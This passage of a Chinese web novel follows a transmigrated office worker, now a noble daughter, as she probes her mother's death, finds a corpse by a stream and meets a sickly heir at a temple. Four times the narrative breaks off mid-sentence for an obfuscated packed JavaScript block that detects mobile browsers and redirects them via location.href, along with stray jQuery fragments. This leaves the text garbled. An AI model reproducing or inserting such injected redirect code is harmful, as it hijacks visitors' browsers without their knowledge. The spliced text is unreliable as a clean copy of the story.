她正要细问更多的东西,却见巧心走出去将门关上,再回来时见从袖中取出一个素色香囊,“小姐,还有这个,是咱们回来时,林世子身边那个小厮悄悄塞给我的,说是......谢过小姐今日的茶?”
“啊?什么茶?”竹曳伸手接过来,二丈和尚摸不着头脑,今日不是第一次见他么?在会客厅也没说过什么话,他给自己香囊干什么?
“不知,小姐今日并未奉茶给他人,难道他是有什么事情要告诉小姐?”
纤细的指尖捏住香囊,她解开系带,取出一张折叠整齐的纸,上面写着一行字,墨迹清隽,笔锋却暗藏筋骨。
“岭南相思子。”
竹曳读了几遍,然后长长叹了口气,简直无语。他这什么意思什么意思什么意思?这是什么意思?林霁突然给这么一句话是干什么。
“岭南相思子,然后呢?”竹曳突然有些烦躁,这古人说话真是麻烦,给这么几个字想让别人猜谜语么?
“小姐?”巧心见她神色不对,轻声唤道。
“咳......”竹曳缓缓合上纸张,将它重新叠好收进袖中,声音平静,心中却已转过千百个念头,“没事。”
这时,外面传来轻微脚步声,是柳氏身边的钱嬷嬷带着两个小丫鬟来了。
"大小姐,"钱嬷嬷脸上堆着笑,"夫人吩咐了,既然张太医开了新方子,往后就按新方子服药。这些是刚抓来的药,已经派人去煎了一份,一会儿小姐直接喝了便是。"
竹曳目光扫过那些药材,认出有几味药是有祛痰止咳、清热解毒、疏肝解郁的功效。她心中升起一丝疑虑,这柳氏动作未免太快了些,张太医刚走没多久这药就抓完了,像是急着要让她换药似的。
但她面上不显,只虚弱地咳嗽两声:“有劳嬷嬷了。”
待钱嬷嬷走后,竹曳自己检查着那堆药材,然后恍然大悟道:“哦!我明白了!”她扭头看向巧心和文心。
对上两人惊诧的眼神后才缓缓说道:“这林世子,定是发现了柳氏的阴谋诡计!所以才写下这张字条来提醒我!”
“额......可是小姐,那为何是‘岭南相思子’这五个字?”文心疑惑。
“因为我的药里有相思子!”
“额......可是小姐,今日这药方是张太医新出的,其中并未有相思子呀。”巧心解释。
“我是说之前那个方子。”
“但是小姐,之前的药房是请外面药房的人开的,其中也未出现相思子,只有少量相思子叶......”文心和巧心对视一眼。
......
竹曳跌回到椅子上,“那到底是咋回事啊——”
【系统检测到宿主意识波动,请保持情绪稳定,避免过度思虑。】
冰冷的电子音在脑海中响起,竹曳无奈的叹了口气,这个反内卷系统比她之前那个上司还要难搞。
“你来的正好,我想问问关于岭南相思子,你那里有没有什么信息是可以告诉我的?”
【资料检索中......相思子,又名美人豆,多生于岭南湿热之地,可入药,其性大热,久服令人心神不宁,内含毒素,需谨慎使用。】
竹曳心头一紧:“你这话说了和没说一样,我是想问问你这林霁为何突然给我这个?原主之前与他相熟吗?”
【原主之前并不认识
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614614|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林霁,其余资料不足,请宿主自行探索哦~】
果然又是这样,竹曳揉了揉眉心,这个系统除了会在她想要努力的时候发出警告,其他时候简直毫无用处。她忽然想起前世公司里那个总是说“这个需求我们做不了,还得靠你自己努力。”的技术总监,简直和这个系统如出一辙。
她让巧心和文心去做自己的事儿,然后起身走到书案前,重新铺开一张宣纸,原来那张抄好的经文已经不知所踪,竹曳想应该是被系统收走了。
毛笔在纸上勾勒出一个又一个的名字:原主生母、林霁、林昀、摄政王、柳氏、竹文渊......还有林霁的那张字条,这些看似毫不相干的人与物,此刻却隐隐织成一张无形的大网。
竹曳看似站在局外看着网越织越大,实则早已被罩如其中。
“文心!”
竹曳叫来文心,给她吩咐事儿:“你再去打听打听,那位林世子平日里都与什么人有过来往,都常去哪些地方......还有林韵,也一起查查。”
文心答是,然后转身走了出去。
竹曳独自坐在书案前,望着纸上的人名线索出神,日头渐渐西斜,在她周身镀上一层浅金色的光晕。
每每到傍晚太阳将落未落的时候是最令人难受的,竹曳随意坐在地上,顺着窗户往外望,除了玉兰树便是高墙,天空只占了很少的部分。在现代时,她很少留意黄昏,因为那个时候她一般还坐在工位上,没时间想东想西,偶尔看一眼夕阳也是抱着看景色的心态,更不用说感受当时的意境。
直到此刻她才发觉,原来黄昏给她的是这样的感觉,太阳残忍的下沉,影子一点点退出房间,每一刻的消逝都变得清晰可见,好像在提醒她,那些她所熟悉的一切——电脑屏幕上移动的光标、手机里未读的消息、地铁站中低头匆忙的人潮,都随着这落日一同沉没了。
晚风带着些微凉意,穿过玉兰叶发出沙沙的声响。
“系统。”她在心里轻轻唤了一声。
没有回应,只有一片虚无的寂静。
系统并不总是在,它也是打工的牛马,只偶尔能来看看她。
今天是穿过来的第一天,竹曳望着熟悉又陌生的黄昏,她忽然意识到,从此以后,大概率不会有人再催她交方案,也没有人会在半夜发微信问她“在吗?”
那些曾经让她焦虑到失眠的工作压力,在现在已然转变成了另一种压力,不是离开家乡的难过,而是自己独自一人面对整个陌生又充满未知的世界的焦虑。
她忽然有点害怕,隔着一整个世界,有一天记忆会模糊得如同前世的梦一样吗?
“巧心!”竹曳忽然大声呼唤道。
“诶!怎么了小姐?晚饭马上就好!”巧心快步跑过来,看着坐姿不算端正的大小姐。
“我想养一只猫......狸奴!”
巧心似是没想到自家小姐会突然冒出这么一句话,顿了一会儿,才回应道:“诶!我明日去给小姐寻一只来!”
6. 河里不许游泳!
日子不咸不淡的过了几日。
启程去慈恩寺这天,蓝天白云,叫人看了心情就好,继母柳氏将声势造的不小,车马仆从准备的颇为齐全,光是行李就放了一车。竹家大小姐要前往慈恩寺修养半个月,本不是大事,这些年由于竹曳身体不好,每半年都会拿出一段时间过去修养念经。
排场摆的足,可真到送行的时候,门口却冷冷清清的,没几个人来。
竹文渊本来答应要亲自送女儿,可临门一脚,又被朝中的事绊住了脚,一人急匆匆跑来,在耳边低语几句,接着他便立刻换上官服急匆匆离去,只来得及拍拍女儿的肩膀,面上显露出无奈的笑意,说上句,“曳儿,朝中突然有急事,为父必须立刻进宫。路上小心,到了寺里记得捎个信回来。”
于是,竹曳眼前就剩下自己的教养嬷嬷、继母柳氏、妹妹竹茵,以及几个仆人。
柳氏今日穿了身绛紫色衣裙,头发梳的一丝不苟,端庄得如同贤淑主母。她走上前,亲热地握住竹曳的手。
“曳儿,此去慈恩寺,定要安心静养。寺中清静,最是涤荡心神,于你身子大有益处。所需要的东西母亲都已打点周全,若还缺了什么,定要派人回府知会,万万不可委屈了自己。”
竹曳心里吐槽这柳氏还真是能装,演技也是高超,话一套一套的,说的滴水不漏,不知道的还真的以为是自己亲生母亲。嘴里面却又说些排场话,“劳母亲事事挂心了,女儿全都明白,放心吧。”
俩人握着手,正互相演的难舍难分,眼泪都要留下来。站在柳氏身旁的竹茵却像只小麻雀一样蹦到竹曳身旁,打断两人。
她今日穿着一身鹅黄色的衣裙,甚是可爱。扯着竹曳的衣袖,抬头说道,“大姐姐,慈恩寺附近有一片桃林,现在想必是全都长好了,香甜的很。里面还有很多五彩斑斓的蝴蝶,飞起来可有趣了,我想跟你一起过去好不好?”
竹茵年岁尚小,只十一二岁,她不喜欢这些场面上的往来,心思全在吃喝玩乐上面。
竹曳看着她,伸手摸摸她的头,心里没来由的生出几分亲切和欢喜。看来这原主和庶妹关系不错。
还不等竹曳说话,柳氏就将竹茵拉到一边,“不许,你前几日不是刚从那边回来?还落下不少功课,这几天补完了吗?”
竹茵撇撇嘴,躲在柳氏身后不说话了。
柳氏上前一步,整了整竹曳的衣领,语气格外关切,“"曳儿,此去路途虽不远,但也要多加小心,母亲特意多派了两个护卫随行,路上小心。”
“多谢母亲安排。”
表面上看似是多排两人保护自己,实则是想监视自己吧?竹曳心里冷哼一声,面上却依旧温顺,她不想再多和柳氏说话,那种话说多了头疼。于是便假装咳嗽几声,柳氏果然上钩了,直说快些进入马车中,别再受了风寒。
可今天的风还没人喘气的力度大。
竹曳最后和自己的嬷嬷告了别,就踏着脚蹬躬身进入了马车,纯棉的车帘垂落,隔绝了外面的一切视线。
马车缓缓启动,驶离了竹府。
竹曳靠在软垫上,长长舒了口气,总算离开那个令人窒息的地方了。左手抱着小白猫,右手吃着点心,面前是一段轻松的日子,好不快活。
车内宽敞,到处铺着软垫,中间放着一个小桌子,摆上精致的点心,文心倒了一杯茶水递给竹曳。
“小姐,这是崔嬷嬷今早天不亮就特意起来做的芙蓉糕,能放好几日呢,尝尝?”
巧心坐在一旁,语调轻快,“总算出来了,虽说庙里规矩多,吃食也清淡,可怎么也比在府里整日对着那几位强,连呼吸都得掂量着分寸。”
“寺里再清净,也比在府里自在!我每天就盼着能出来的这半个月呢!”文心也笑嘻嘻地说。
竹曳将带来的几盒糕点都尝了个遍,吃饱喝足就瘫靠在软枕上和巧心、文心搭话,她在她们俩面前不怎么装病,拿张太医的药有效果搪塞她们。
马车驶出京城的城门,繁华市井的喧嚣逐渐被抛在身后,官道两旁开始出现开阔的田野与远处绵延的青色山峦。空气中弥漫着青草、泥土与野花混合的清新气息。
接着又约莫走了一个多时辰,太阳渐渐升高。车夫在外面禀报:“小姐,前面有条小溪,水很清,树也密,要不要停下歇歇,也让马喝点水?”
竹曳正觉得有些闷,便应道:“好,就在那儿休息吧。”
此时离城中已很远,车夫将马车停在一处浓密树荫下,竹曳下车痛快的伸了个懒腰,马车除了略微颠簸有些慢之外都挺好,尤其是不晕车这点更是好上加好。
竹曳抱着猫,往前走,眼前豁然开朗,一条清澈见底的溪流蜿蜒而过,水声淙淙,如鸣佩环,阳光被繁茂的枝叶切割成无数晃动的光斑,洒在铺满卵石的溪岸和波光粼粼的水面上。
“这地方真美!”巧心欢呼一声,拉着文心跑到溪边,蹲下身去拨弄清凉的溪水。
就在这时,竹曳的目光无意间向上游望去,一个黑乎乎的棍子样的东西慢悠悠飘下来,她没在意,蹲下来洗手。
直到......那“棍子”飘到面前,竹曳缓缓抬头,眼睛直直地盯着。
“啊——”
那竟然是个人!一个死人!
竹曳瞳孔骤然收缩,手中的水滴从指缝漏尽,浑身发凉。
“巧心文心!”竹曳一把抓过旁边不明所以的猫,用力向她们俩跑去。
两个丫鬟不明所以,但还是听话地站起身,然而就在她们转身的瞬间,也看到了溪水中那个黑影。
溪水中,一具面朝下俯卧的男性尸体被水流推送着,搁浅在浅滩的卵石之间。浸透了水的深色布衣紧紧贴在僵硬的身体上,勾勒出诡异的线条。一头黑发如同杂乱的水草,一部分缠绕在颈间,一部分飞舞在身旁。
“啊——!”巧心短促惊叫一声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614615|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,腿脚发软,“小、小姐......那那是......”
车夫和两个护卫听到动静冲过来,看到小河中的情景,皆是面色巨变。“锵”的一声,三人立刻拔出佩刀,迅速把她们护在身后。
“小姐先进马车,我去报官!”车夫说道。
“且慢!”不等众人反应,一阵马蹄声由远及近,打破了现场的安静。
竹曳惊魂未定,眼见着有三人骑马从官道另一侧疾驰而来,马蹄翻飞,带起一阵草屑飞尘,不过片刻功夫,几人已经飞驰而至,骏马一声嘹亮嘶鸣,在溪边稳稳停住。
几人翻身下马,为首之人身量极高,头发被高高的束起,一身利落的玄色劲装及显身段。
三人脸上皆是带着一张面具,只是为首之人脸上的,是一张做工精巧的银制面具,几乎遮住大半张脸,只露出线条分明的下颌和紧抿的薄唇。
竹曳现在已经冷静下来,一手扶着快要晕倒的巧心,一手拽着腿软的文心,两只脚还夹着小猫。
“几位莫要惊慌,在下是奉命查案的人员,还请莫要声张。”声音沉稳有力,带着不容置疑的威严。
说完便转身径直走到岸边,等着另外两人将尸体勾到岸边,带上麂皮手套,动作专业的翻看死者的眼睛、口腔、按压胸腹部......每一个动作都及其精准。
竹曳的目光跟随为首男子的动作,落在尸体裸露的手臂上,那双手已经泡的微微发白,不知是在水中泡了多久......
“小姐别看了......怪吓人的,晚上容易做噩梦,哎呀...一会儿要去给小姐念念经,病刚有好转就受此惊吓......”
巧心捂住竹曳的眼睛,声音抖得像缝纫机,牙齿直打颤,却还要安慰竹曳。文心也紧紧贴着竹曳,泪眼汪汪地附和着巧心的话。
竹曳现在并没有太过害怕,只是刚刚那具尸体猛的贴脸确实有点惊悚。以前比这还有恶心可怖的尸体她也见过,那时候她刚刚实习,资金不足,找了个便宜的房子,没想到不到半月隔壁就发生了一起杀人案,还是竹曳闻到臭味报了警才发现,那尸体往外抬的时候,臭味铺天盖地如同蝗虫过境,血水和蛆直往下掉......
面具男子仔细检查了片刻,除了衣物被溪石刮破的痕迹,体表并未发现明显致命外伤或激烈搏斗留下的迹象。他站起身,面具后的眉头紧紧锁住,周身气压低沉。
所有证据似乎都在指向一个结论——失足落水,意外溺亡。
旁边手下也说道:“大人,初步判断,大概是溺亡。”
“不对......怎么可能。”这背后定然有隐情。
“可再没有发现其他痕迹,要不...请他过来一看?”
“来不及了。”
三人打哑谜,竹曳不想听了,就示意护卫让开一点,上前两步说道,“几位,内个...要是没事的话我们还有事儿,就先走了?”
7. 病弱系对决
“姑娘且慢,鄙人还有几句话想要询问姑娘。”
竹曳示意他说。
“在下想问姑娘,几位见到这具尸体多久了?这一路上是否遇到过什么人?”
“尸体刚被冲下来不久你们就到了,这一路...这一路我们并未遇到过其他人。”竹曳看向车夫。
车夫立刻会意道:“是的,我家小姐说的没错,一路从京城赶过来,只有我们这些人。”
面具男子抬头看了眼周围人,上前一步小声说道:“在下还想问一句,方才姑娘说...这尸体看着不像是溺亡的,像是被他人所害......姑娘何以这样判断?”
面具男子身量极高,投下来的阴影几乎将竹曳完全笼罩。竹曳心中猛地一沉,心想眼前这人听力竟然这么好?刚刚自己明明很小声的在和别人说话。
竹曳稳住呼吸,用镇定的语气回答道:“溺亡之人在将要淹死的时候多少都会挣扎几下,但是这样就会让身上沾染泥沙,可你看,这个人身上干干净净的,几乎没什么泥沙水草,而且...脖子上还有些尸斑,不像是才死不久的样子。”
面具男点头认同。前些日子营缮清吏司的一个郎中死了,本来这没什么,但紧接着爆出来在这个人京城周边有两处大宅子,其余家产更是无数。监察人员一查就查出来了,营缮清吏司负责营造各种工程及砖木物料的管理等相关事务,宫里每年拨下的修宫殿、建陵寝的银子数不胜数,从这金山银海里捞点油水,上下打点打点,自然就攀上了天梯。
但谁知没多久,又爆出来他与司礼监掌印太监曹鸿禧多次暗中有勾结。
他父亲觉得这郎中死的蹊跷,背后必有问题,就派了他来调查,就这样一路追查到这个人身上。果不其然,这人也有问题,他表面跟着营缮清吏司的那个郎中做事,实则是摄政王下面的人,结果刚查到这,这人也死了。他们按照消息一路从上面追过来,本以为能活捉,没想到却见到了尸体。
面具男刚刚给他仔细搜了身,也觉得不该是溺亡,方才竹曳说的前半部分他也猜到了,最后一句却是一头雾水。
“姑娘学识渊博,佩服佩服,只是在下才疏学浅,这‘尸斑’一词......于刑狱案卷中未曾得见,不知出自哪里?”
竹曳心中一沉,遭了!言多必失,自己不该多说的。这个时代应该是没有尸斑这一说法,而且闺阁女子谈论尸骸已是惊世骇俗,更何况是如此专业的词汇...
她心脏砰砰直跳,却强迫自己稳住呼吸,面上努力维持着镇定。这个人身份不明,而且很聪明,想要糊弄过去应该不容易,她掂量着解释,“尸斑...就是...额,人死后一段时间,大概一两个时辰吧,全身皮肤就会出现青紫色的斑块,这个就叫做尸斑。”
竹曳怕这个人接着追问,自己抢先说道,“家父曾任地方刑名书吏,小女子幼时......耳濡目染,也曾、也曾翻阅过几本家藏的仵作杂记,故而略通皮毛。”
听了这话,那男子面具后目光微动,双眸闪过一丝玩味,嘴角似乎是翘了一下。
她的父亲竹文渊是清流文官,科举正道出身,与“刑名书吏”这等杂佐吏员毫无干系,她在说谎,还是一个颇为拙劣的谎言。
但他并未立刻拆穿,而是顺着竹曳的话往下说,“原来如此,受教受教。”
竹曳抬头看他,已经不想再多待了,“小女子路过这里暂时修整,还有路要赶,就先告辞了。”她一边说着一边招呼巧心和文心。
面具男并未阻拦,他弯下腰,将不知何时溜到自己脚边窝着的猫抱起来,递给她。
“多谢。”竹曳伸出双手将猫接过来,手指不小心触碰到面具男小指上带着的一枚指环,那指环通体炫黑,似铁非铁,似玉非玉,材质难辨,而且没有任何花纹装饰,造型非常简约,在日光下泛着幽暗的光泽。
竹曳多看了一眼,觉得有些眼熟,那指环的材质似乎和自己前世买的黑曜石小猫相似,但她并未多想就转身离去。
马车里,竹曳轻轻拍着还在微微发抖的文心的背,几人脸色都不是很好。
“小姐,刚才真是太可怕了......”文心声音还有些发颤。
竹曳叹了口气,说道:“是啊,没想到会遇上这种事。”
她望向窗外,脑海里不断浮现出面具男银质面具后那双锐利的眼睛。那具尸体应该不简单,那个人...估计更是不简单,慈恩寺之行,恐怕不会像她想象中那么平静了。
面具男依旧站在原地,看着那两辆马车渐行渐远,目光深沉难辨。
“主子,这尸体......”一名手下见他久久不语,上前低声请示。
“装起来,带走。”
面具男挥挥手,另一位立刻快步上前,微低着头朝着他。
“去查查那几个人。”
“是!”
没走几步,他又转过身来快步走回到面具男旁边,犹犹豫豫地说道:“主子,查什么呀......那位不是竹家大小姐么,前几日才刚见过,您这么快就忘啦!”
......
面具男无语,他眼角一抽,反手赏了他一记爆栗,“我当然知道她是竹家大小姐!我是让你去查他们一行人要去哪!”
末了,又加上一句字正腔圆的话,“笨!”
手下恍然大悟,抱拳道:“属下明白!”随即转身上马,绝尘而去。
·
竖日清晨,天光还未大亮,慈恩寺已浸在一片清脆的鸟名声之中,竹曳换了个地方睡觉不太习惯,今天醒的极早。
但昨日睡的很晚,白天倒还未怎样,晚上一闭眼就是冰冷的河水和那具苍白的尸体,磨蹭到很晚才沉沉睡去。
她起身推开窗,山间带着草木清香的凉意涌了进来,稍微驱散一些身上的沉闷。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614616|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>早上用过寺里的清粥小菜,她沿着山路看了一会儿,就让巧心将一张旧竹椅搬到院中那棵老槐树下,找了本书翻看。
日头渐升,初夏的阳光透过摇曳的竹叶,细碎的光斑落在她的身上,那只通体雪白只有四只脚乌黑的猫跳上竹曳的肚子,寻了个舒服的姿势躺下。
那双修长白皙的手有一搭没一搭地顺着光滑温暖的背毛,小猫喉咙里发出满足的“咕噜”声。柔软、温暖、又富有生命力的触感,让竹曳连日来对系统任务的压力有所减轻,也将昨日沾染上的阴冷气息驱散了些许。
“呼——”
竹曳长长叹了口气,心想果然人生来就是会受毛茸茸所奴役的,没有人能拒绝毛茸茸!
她正懒散悠闲地望着叶片间隙里的天空出神,巧心脚步轻快地走了过来,脸上带着发现新奇事儿的高兴神色,“小姐!小姐!您猜怎么着?方才我路过一个院子,听到负责洒扫的小沙弥说,今日寺里还要来一位贵人呢,说是也要在这边静养几日。”
“哦?”
竹曳随口应了一声,并未十分上心,慈恩寺在京城周边,是最大香火最旺盛的一处,环境又清幽,常有达官贵人过来小住应该并不稀奇。
“小姐你猜是谁?”巧心站到竹曳后面顺手给她按头,原主从前一直有头疼的毛病,文心和巧心就找人学了按头的手法,技术很是高超。
“我猜不出来,是谁?”
“听说是前几日来咱们府上做客的那位林霁林公子!”巧心压低了声音,熟稔地弯腰凑到竹曳头边跟她说话,“就是那个看起来身子骨不太好的公子,小沙弥说,他之前也会常来寺中静养,而且他常住的那处就和咱们隔了一个院子。
“只是不巧,每次都和小姐您错开了,这还是头一回赶上同一时间都在呢?”
林霁?
竹曳抚摸着猫的手微微一顿,她想起来前几天在会客厅见的那个人,容貌很好,但面色苍白,没怎么说过话,对他最深的印象还是莫名奇妙送来的香囊......
那个香囊...竹曳想起来这回事,不知道在自己房间哪里扔着。有机会得问问那个人给自己送那个作什么......
竹曳垂下眼帘,继续撸着猫,语气平淡无波:“来就来吧,之前他身边那个人送来的香囊你还记得放到哪了吗?”
“在窗子旁边挂着呢,上次您不是说找不到地方就随手给挂到窗上面了,我没动。”
“哦。”
午后,竹曳去经堂念了一会儿,香气袅袅,梵音低唱,她很是喜欢这种安静的氛围,没有了工作和生活的压力,终于能好好生活。从经堂出来实时已是夕阳西斜,竹曳站到高处,欣赏了一会天边绚丽的晚霞。
她带着巧心和文心沿着青石板小径往回走,刚接近自己住处的院门,便听得一阵车辙碾过石板路的声响自不远处传来。
主仆二人下意识回头。
8. 试探
只见一辆外观朴素但极为考究的青帷马车,正缓缓停在不远处院落的门口,车辕上坐着的车夫身形精干,不似寻常人那般,他眼神警惕的扫过四周,与寻常家仆气质迥然不同。
马车停稳,车仆迅速利落上前,“啪”的一声将脚踏放下,接着小心翼翼地搀下一人。
那人身形清瘦欣长,穿着一身月白色的常服。离奇的是,在夏季的暖风里,他却在肩头松松的披着一件灰色的斗篷。晚霞的金光勾勒出精致的侧脸轮廓,竹曳觉得他的肤色似乎比那日又惨白很多,颈下甚至能看到淡青色的血管。
林世子在车仆的搀扶下小心翼翼地走下来,有风吹过,他似乎是被呛到了,用拳头抵着淡色的嘴唇,压抑地咳了两声,单薄的身影随之晃动,伸手扶住随从的手臂才稳稳站住,真是从里到外都透着病气。竹曳觉得林世子的病瞧着似乎比前几日又重了一些,怪不得要来修养。
似乎是察觉到停留在身上的目光,林霁缓缓抬眸看过来。
四目相对,二人隔着二十来步的距离对望。
竹曳心中微微一动,这人长得真是好看,可惜得了重病,随即像是想到了什么,她迅速收敛了心神,抬手让文心扶着自己,也装出一副久病的样子来,学着林霁那样,拿手挡住咳了几声,身影摇晃,可谓是虚弱至极。
竹曳暗道不好,自己刚刚跑跳了两步,面色红润有光泽,可以说是一点不像传闻中的那样虚弱,只希望林霁身体不好,眼睛也不好,别看出来她在装病......
她心里七上八下,面上却不显露分毫,俩人就这么远远地、沉默地互相望了一眼,随即各自不着痕迹地收回目光,仿佛陌生人无意之间视线交汇那样。
林霁在随从的搀扶下转身,步履缓慢地走进了院门。
竹曳也带着文心巧心,脚步虚浮地推开了自家院门。
“小姐,那位就是林公子吗?生的真好......就是身子看着太弱了些。”文心掩上门,她那日不在,并未见过林霁,今日还是第一次见。
她问完林竹曳又转身对巧心说:“哎呀,如今小姐身子是好了些,但是为了掩盖柳氏耳目还得装病,只希望刚刚那林公子没有发现。”
“放心吧,我们家小姐演技好着呢!”巧心说道。
竹曳没有接话,只是走到院中的石凳旁坐下,指尖无意识地点着微凉的石头桌面。
不对劲。
她抬头望向隔壁院落的方向,目光仿佛要透过厚厚的砖墙。刚才那一眼,她心底总觉得有些怪异,林霁的反应像是早就知道她在这里一样。
山寺的夜晚有些风,竹曳摸摸胳膊,默默在心里祈祷之后一切顺利。
第二日一早,阳光高升,暖洋洋的光塞在石板上。竹曳支着下巴,对着一本摊开的经书发呆,思绪早就不知道飘到何处。
不是她无聊,是实在是......对原主生母的死因无从下手,且不说她对这些人完全不了解,就是了解了也不知道怎么办啊!
让她一个普通人在这个完全陌生的世界当侦探?还不如回去面对甲方。
“系统系统系统系统系统.....”
竹曳在心里碎碎念,感情真挚翻来覆去一连默念了好几遍系统。
【什么事?】
“嗯?你来了?”竹曳倒是没想到这次系统能准时出现,“我想问问原主母亲的事儿,实在是没思路了。”
【你想知道什么?提前说好,很多东西我也不清楚,还有很多东西我不能说。】
“那关于她,你有哪些能说的?先说说看,比如其实原主母亲是隐藏的武林高手,手握足以震惊天下人的皇室秘辛,于是被人追杀之类的?”竹曳找来纸笔,端坐在石桌旁,等着记下来。
【宿主,本系统是正经反内卷系统哦,不是八卦期刊。】
【正在检索数据库......】生硬的电子音在竹曳脑中响起。
【沈兰芝:原主生母,籍贯:岭南漓水郡,于承安十二年嫁于竹文渊为妻,承安十四年腊月,诞下原主。承安十六年冬,意外身亡,竹文渊对外宣称失足坠湖。承安十八年朱文渊续娶柳云岚,隔年柳氏诞下原主妹妹竹茵。】
“对外宣称失足坠湖?还是冬天?”竹曳怀疑里面有蹊跷,“冬天湖里都结冰了吧?能告诉我死亡真实原因是什么吗?”
【我也不知道哦,不要套我话哦。】
“好吧...那柳云岚就是柳氏?原主父亲在发妻死后隔年就又续娶了,这合理吗?”竹曳又问,“柳氏的得身份你能告诉我么?”
【竹文渊服了不足两年丧期,受到皇帝指派另娶柳氏,未举办仪式。柳氏身份成谜,需要你自己寻找。】
皇帝?怎么又有皇帝的事情了,难道原主母亲的死和皇帝有关?不过现在可以确定的是肯定和柳氏有关。
“那关于原主母亲还有没有其他什么信息啊。”
【沈兰芝人生经历非常简单,从小在岭南生活,遇到前往岭南的竹文渊,俩人一见倾心,二见结婚,于是沈兰芝就跟着竹文渊一路来到了京城,除此之外...等我翻找一下资料。奥对,根据某些人私下议论片段,她很擅长刺绣与糕点制作。据说死亡时身着单衣,左手紧握,指缝之间有碎掉的糕点和来源不明的蓝色丝线?】
“——刺绣和糕点?”竹曳嘴角抽了抽,“这技能点树立的真是毫无攻击性啊娘亲。”
她都能想象到原主母亲性格温婉的样子,跟“阴谋”、“被害”这些词简直格格不入。
竹曳突然灵光一闪,“等一下,死因不会真的就是意外吧——!”
【不对哦,系统权限不足,无法直接告知。不过你可以到藏书阁里找找往事记载呢,慈恩寺的藏经阁内部有很多经典著述,说不定有你想要的东西。】
竹曳听出来系统的提示,心里盘算着找个时间去藏经阁转转,她拿起写了字的纸,看着上面仅有的几个怀疑对象
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614617|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉思。
正想的入神,门外传来一阵脚步声,人都到了眼前竹曳才发现。
“小姐,”文心略带急促的声音响起,“林世子身边的随行大夫来了,正在外面候着呢,说是世子听闻小姐前日在溪边受惊,特意让他过来给小姐请脉,聊表心意。”
竹曳一惊,“林霁?!”
他怎么会知道溪边的事情?还这么关切地派来了大夫?
可她现在身体是健康的,让大夫诊脉不露馅了吗?
“是啊小姐,现在怎么办?他的人来诊脉定会暴露你身体早已好转。”
竹曳沉思一瞬,“没事,我有办法。”
“系统系统!能暂时改变一下我的脉象吗?”
【可以,模拟“思虑过甚,心悸气短”脉象,持续时间:一炷香。】
竹曳心下稍安,咳嗽了几声,脸上挂上恰到好处的疲惫和难受,手指扶上太阳穴,小声说:“请他进来吧。”
门被推开,一位身着灰色长衫,留着长长胡须的中年大夫走了进来,身后跟着一名提着药箱的小童。大夫目光平和,举止沉稳,见到竹曳先行了一礼,“老朽姓陈,奉我家世子之命,特来为竹小姐诊脉。世子听闻小姐身体抱恙,日前受到惊扰,心下不安,特命老朽前来探望。”
竹曳心里无语,谁说受到惊扰了?合着我受不受到惊扰全靠你们家世子下瞎猜。
她伸出手腕到脉枕上,状似无意的问道:“有劳陈大夫,代小女子谢过世子挂心。只是...溪边之事不过偶遇,世子爷隔天而来,是如何知晓的?”
陈大夫早有准备,他一边将手指搭上她的手腕,一边从容答道:“小姐客气了。世子爷在来寺途中,听闻了那桩命案,稍加打听一二,便知那日小姐也曾途径该处,因此便猜想小姐或许受了惊吓。世子爷心善,对小姐病情甚是关切。”
他这话说的滴水不漏,既解释了信息来源,有奖世子的行为全都归功于“仁厚”、“关切”。就算竹曳从这话里听出了一些监视和探究的意味也无处下手。
这恐怕不是“听闻”,是可以打听过她的行踪。
竹曳看向陈大夫,后者正凝神诊脉,眉头拧在一起,似乎在细细分辨脉象。她垂着眼,长睫在眼下投下一小片阴影,周围静悄悄的,文心和巧心也是屏息凝神,生怕打扰。
要不是竹曳知道自己没什么,还真的会陈大夫的脸色吓到,以为自己得了什么疾病。
片刻之后,抚须沉吟道:“小姐脉象细弱,确有思虑过甚,心血损耗之象,兼之...兼之...肝气郁结。可是近日眠差多梦?”
竹曳:“确实如此。”
“嗯......”陈大夫又沉思一会儿,“小姐面色苍白,中气不足,脾胃是否较差?”
竹曳:“确实如此。”
不管说什么,竹曳都点头同意,她心下佩服系统的手段,微微点头,声音愈发的轻软:“大夫所言极是,确实如此。”
9. 病友交流大会
